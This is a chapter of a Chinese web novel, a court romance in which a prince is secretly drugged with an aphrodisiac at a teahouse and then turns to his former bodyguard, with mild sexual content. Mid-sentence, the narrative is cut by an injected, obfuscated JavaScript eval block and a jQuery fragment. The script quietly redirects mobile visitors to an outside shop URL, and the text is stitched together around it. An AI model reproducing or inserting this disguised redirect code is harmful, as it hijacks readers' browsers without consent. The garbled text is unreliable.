“客官,您的小菜来喽……”店小二端着菜上到大堂角落里的一桌,却见那桌空空如也,唯有刚放在桌上的酒被人拿走,还落下两串糖葫芦。
青情倒是付过银子了,店小二并不着急,只是有些纳闷的挠挠头,问旁边的客人:“这位客官已经走了吗?”
旁边人随口应答:“好像是走了吧。”
青情拎着酒飞到珍馐阁对面珠翠楼的屋顶,从这处稍微低头,便能顺着二楼敞开的大窗,瞧见屋内的风光。
几个贵公子刚好是坐在窗边的一桌,长孙郁赫然在列,他身边站着一个抱剑的年轻女护卫,容貌颇有几分不俗。
青情隐约记得,这人也是武林盟派来保护长孙郁的护卫,武功在年轻一辈算得上数一数二,所以才会被盟主派来跟着长孙郁。
她性格还有几分开朗,脸上总是掬着憨厚单纯的笑容,看起来有几分不谙世事。
长孙郁正和对面的公子说着话,她便老老实实抱剑站在一侧,只是有些羞涩的眼神总是会若有若无落在长孙郁身上,青情这个角度看得真切。
以往因为有青情这个武力值MAX的暗卫随身保护,长孙郁还从未贴身带过任何护卫,这一次也许是因为青情被指给了长孙旖,也许是因为别的什么,长孙郁身边带了其他人。
青情“啧”一声,酒水顺着下颚流淌进衣领,潮湿感让人烦躁。
这才几天,自己的地位就被取代了?
长孙郁起初还不太清楚,丞相之子为什么要给他递帖子,说是有要事相商。
他本不想理会,奈何凤后以他举止无仪为由,让他跟着教习公公重新学规矩,不许他随意出宫辱没皇家颜面。
不得已,他只好接下帖子,接着这个由头出宫透透气,结果聊着聊着就感觉自己头顶在冒热气,脸是滚烫的……
对面的丞相之子仿若未觉,抿了口茶,笑道:“大殿下,您还不知道吧,我和阿珞从小相熟,乃是青梅竹马一起长大,本来大将军还有意指我与阿珞结姻呢。”
长孙郁感觉到某处支楞起来了,他还从未有过这样在大庭广众之下的失态,再听丞相之子明显是有备而来,针对性极强!心中愈发肯定是他在自己的茶里做了手脚!
他忍耐得面红耳赤,眸子瞪大压抑着声音里的气喘:“你,你敢对皇子下药?”
丞相之子微蹙眉,担忧的凑到长孙郁近前,体贴关心:“大殿下是不舒服吗?可有什么疾病史?这里的茶都是珍馐阁准备的,大家同饮一壶,应当是没问题的,大殿下莫要误解了我。”
长孙郁听懂了,这话的意思是他把事儿做的很干净,他就算怀疑也找不出任何证据。
这无辜又歹毒的劲儿,让长孙郁想起一个人:“你和我二弟倒是一丘之貉。”
丞相之子眸光微微闪动,笑道:“我与二殿下乃是闺中密友,相见恨晚,今日之事……倒是还多亏有他促成呢。”
长孙郁咬紧牙关,气得发抖,他撑着桌子勉强站起,护卫谢莹见此担忧的上前搀扶:
“殿下,您怎么了?”
却不想长孙郁仿佛被火烫了下似的,手猛地抽开,有些排斥:“不要碰我!”
谢莹有些受伤的收回手,局促的看着长孙郁脚步虚浮走出茶室,丞相之子笑呵呵提醒她:“你们家殿下走了,还不快跟上,好好保护着?”
谢莹愣愣的点头,“噢噢”两声,小跑几步跟上前去。
坐在丞相之子旁边的公子有些担忧,用帕子轻轻擦去嘴角水痕:“真的不会查到咱们头上吗?”
丞相之子挥挥手,身边的小侍耳聪目明的换掉原先的茶具,换了一套一模一样的摆上,而原本的茶具则是用包裹包着,拿出去处理掉了。
他笑了笑,有些高深莫测:“茶是我们一起喝的,要是有什么问题,大概也是他自己的问题吧?”
茶是有问题,但大家都提前服了解药,这药性解了也就不会在身体里有任何残留,所以长孙郁要么就是解去药性查不出痕迹,要么就是没解药性,被浴火折磨得失态。
怎么说也是个男子,面皮薄,那种状态下怎么可能有心思去寻大夫诊脉?
另一个公子一身锦衣华袍、满头珠翠玉簪,张扬无比,看着也是身份不俗,他漫不经心的摇着扇子:
“他也不过是个不受宠的皇子,他们皇家那点儿辛密,瞒得了平民百姓,却瞒不了我们……自长孙旖回宫后,他就被赶去武林盟,听说回宫路上被人伏杀,对方疑似是长孙旖派来的人,可谁也没见着有人大动干戈替他兴师问罪。”
“不过嘴上得有个把门,此事以后莫要再提……倒是你,我怎么不知你和长孙旖还是闺中密友了?”
凰城的贵公子哥们,哪个和长孙旖相熟?大多都是表面尊敬,背地里唾弃嫌恶。
那可是个才十九岁,就被北国蛮子糟蹋了的皇子,命贵,身子贱,简直辱没了他们南国的皇室,连带着南国的男子都觉得面上无光。
丞相之子眼神淡淡:“让兄弟俩多些误解,不好吗?”
“反正我觉着,这事儿说是长孙旖做的,大概也没人怀疑,那个毒夫怕是恨不得长孙郁名声扫地,我们不过是做了他想做的罢了,总不能让他乐享其成。”
……
青情几口就喝光一壶酒,这珍馐阁深谙物以稀为贵的道理,一壶酒瓶子看着精致,内里却没装几滴。
她没太关注几个公子哥之间聊了什么,左右是男子之间的私密话题,瞧了一会儿,只觉得自己首席暗卫的地位怕是要不保,满心惆怅正打算飞下屋檐,却见长孙郁突然起身,好像和谢莹起了争执,离开时身姿有些不太自然。
“啧”
青情就说,她这活儿也没那么好干,哄一个娇娇气气的皇子高兴有那么简单吗?谁都想篡她的位。
不过这会儿也不是趁虚而入的好时机,毕竟她还不知道要怎么处理和长孙郁之间的感情问题,于是打算再缓两天。
青情打算走人的时候,才发现自己买的糖葫芦似乎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563988|204647||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
忘记带了,不过现在去珍馐楼找,肯定会撞见长孙郁。
不远处卖糖葫芦的小贩扛着草木棒子悠哉悠哉的逛游,嘴里吆喝着:“卖糖葫芦嘞——又酸又甜的糖葫芦嘞——”
青情被声音吸引过去,身形一闪就飞落在小贩身后:“老板,两串糖葫芦。”
“诶呦——”小贩被突然出现的青情吓了一跳,险些没拿稳手里的草木棒子,好在青情眼疾手快替她稳住了。
拿着纸袋子打包好的糖葫芦,青情往宫门的方向走,一辆马车却突然拦在近前。
长孙郁掀开帷幔,露出一张俊俏的脸,脸颊染着滚烫的唇色,神情看起来压抑又焦躁。
“上来。”他对青情说。
青情心想再不回去长孙旖大概要等着急了,但听长孙郁严肃的口吻,又见架着马车的谢莹脸色红一阵白一阵,她有些莫名。
正打算上次,谢莹却没让开身子,甚至隐隐刻意挡住青情:“殿下……不该让她进去。”
青情“嘶”了一声,她眼神复杂的打量这个小护卫,到底是年少轻狂啊,才上位几天都敢管她和长孙郁的私交了?
没等车里的人说话,青情一把拎起谢莹把她往旁边搁了搁,冷笑着道:“碍事。”
谢莹自然也知道青情,当初武林盟车队遇刺,神箭手势如破竹,车队之中无人能挡,只有青情持枪护在马车前,要不然马车都不该是如今这般完好无损的模样。
她自知不是青情的对手,只是心有不甘,见青情已经挑开门帘进去,只得深吸口气,继续做她的马车夫。
青情还以为有什么要事要与她相商,结果刚进去,青情就猛地被长孙郁拽了一把,往前踉跄了下被长孙郁揽进怀里。
不是,等会,爱她爱得这么情难自禁吗?我知道你对我无法自拔,但是请容我先拔一下。
青情试图把自己从长孙郁怀里拔出来,但身上的人却像是没骨头一样,软趴趴贴缠着她,热乎乎潮湿的呼吸打在她脖子上,接着有什么湿漉漉的东西舔了上来。
青情瞪大眸子,手一颤,糖葫芦就掉在地上。
她眉头稍微蹙起,终于严肃起来,想扯开长孙郁,但长孙郁抱得她很紧,身躯微微颤抖的样子看着属实有些反常。
长孙郁在青情脖子上嘬了一口,用牙齿细细摩挲,他想报复她之前那样对他,但情、欲的渴望逐渐盖过怨怼,他的动作无端添进去几分缠绵,最后安抚似用舌尖勾那处被牙齿锐利刮过的红痕。
他感觉到青情想推开他,只是还没舍得对他用力,有些心软的松懈下身子,放纵不被满足的、对快感渴求一点点吞没他。
“别动……让我抱一下。”
长孙郁眼神带着暗色,轻轻阖眸,依偎在青情怀里。
他感觉自己有点无耻,仗着女尊世界性别关系颠倒,于是在这种时候肆无忌惮的贴近,也不必担心自己卑劣的心思被看穿。
想靠得更近,想融入彼此的身体,哪怕要为她生孩子,他也可以。